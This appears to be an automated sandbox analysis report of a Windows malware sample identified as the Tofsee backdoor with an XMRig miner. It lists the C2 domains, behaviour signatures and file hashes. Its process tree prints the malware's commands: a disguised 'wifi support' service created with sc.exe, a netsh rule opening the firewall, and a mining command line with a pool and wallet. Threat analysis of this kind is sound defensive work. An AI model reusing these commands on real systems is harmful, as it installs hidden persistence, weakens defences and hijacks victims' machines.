Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/12/2022, 02:45

General

  • Target
    file.exe
  • Size 214KB
  • Sample221217-c8qq2aga93
  • SHA256 913ea8e0690687ceeb36e7472e2e98c58774a48bf01fb2e6d806e7cde2a37678
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3448
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\xdfosmnk\
      2⤵
        PID:4764
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ndfsjbm.exe" C:\Windows\SysWOW64\xdfosmnk\
        2⤵
          PID:4752
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create xdfosmnk binPath= "C:\Windows\SysWOW64\xdfosmnk\ndfsjbm.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3408
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description xdfosmnk "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:548
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start xdfosmnk
          2⤵
          • Launches sc.exe
          PID:1800
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2580
      • C:\Windows\SysWOW64\xdfosmnk\ndfsjbm.exe
        C:\Windows\SysWOW64\xdfosmnk\ndfsjbm.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:832
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4268
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:772

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            ndfsjbm.exe

            • Path C:\Users\Admin\AppData\Local\Temp\ndfsjbm.exe
            • Size 12.6MB
            • SHA256 760b6e4f11d76a3572775ed3a7a2912aa38b08a7da8d820f54a9d0313f068fec
            • MD5 SHA1 SHA512 SSDEEP

            ndfsjbm.exe

            • Path C:\Windows\SysWOW64\xdfosmnk\ndfsjbm.exe
            • Size 12.6MB
            • SHA256 760b6e4f11d76a3572775ed3a7a2912aa38b08a7da8d820f54a9d0313f068fec
            • MD5 SHA1 SHA512 SSDEEP

            memory/772-172-0x0000000000400000-0x00000000004F1000-memory.dmp

            memory/772-177-0x0000000000400000-0x00000000004F1000-memory.dmp

            memory/832-149-0x0000000000400000-0x0000000000452000-memory.dmp

            memory/832-147-0x000000000063D000-0x000000000064E000-memory.dmp

            memory/3448-143-0x00000000006A3000-0x00000000006B4000-memory.dmp

            memory/3448-144-0x0000000000400000-0x0000000000452000-memory.dmp

            memory/3448-134-0x0000000000400000-0x0000000000452000-memory.dmp

            memory/3448-132-0x00000000006A3000-0x00000000006B4000-memory.dmp

            memory/3448-133-0x00000000005E0000-0x00000000005F3000-memory.dmp

            memory/4268-146-0x0000000000390000-0x00000000003A5000-memory.dmp

            memory/4268-151-0x0000000000390000-0x00000000003A5000-memory.dmp

            memory/4268-152-0x0000000000390000-0x00000000003A5000-memory.dmp

            memory/4268-153-0x0000000002200000-0x000000000240F000-memory.dmp

            memory/4268-156-0x00000000009F0000-0x00000000009F6000-memory.dmp

            memory/4268-159-0x0000000001920000-0x0000000001930000-memory.dmp

            memory/4268-162-0x00000000019F0000-0x00000000019F5000-memory.dmp

            memory/4268-165-0x0000000007140000-0x000000000754B000-memory.dmp

            memory/4268-168-0x00000000027D0000-0x00000000027D7000-memory.dmp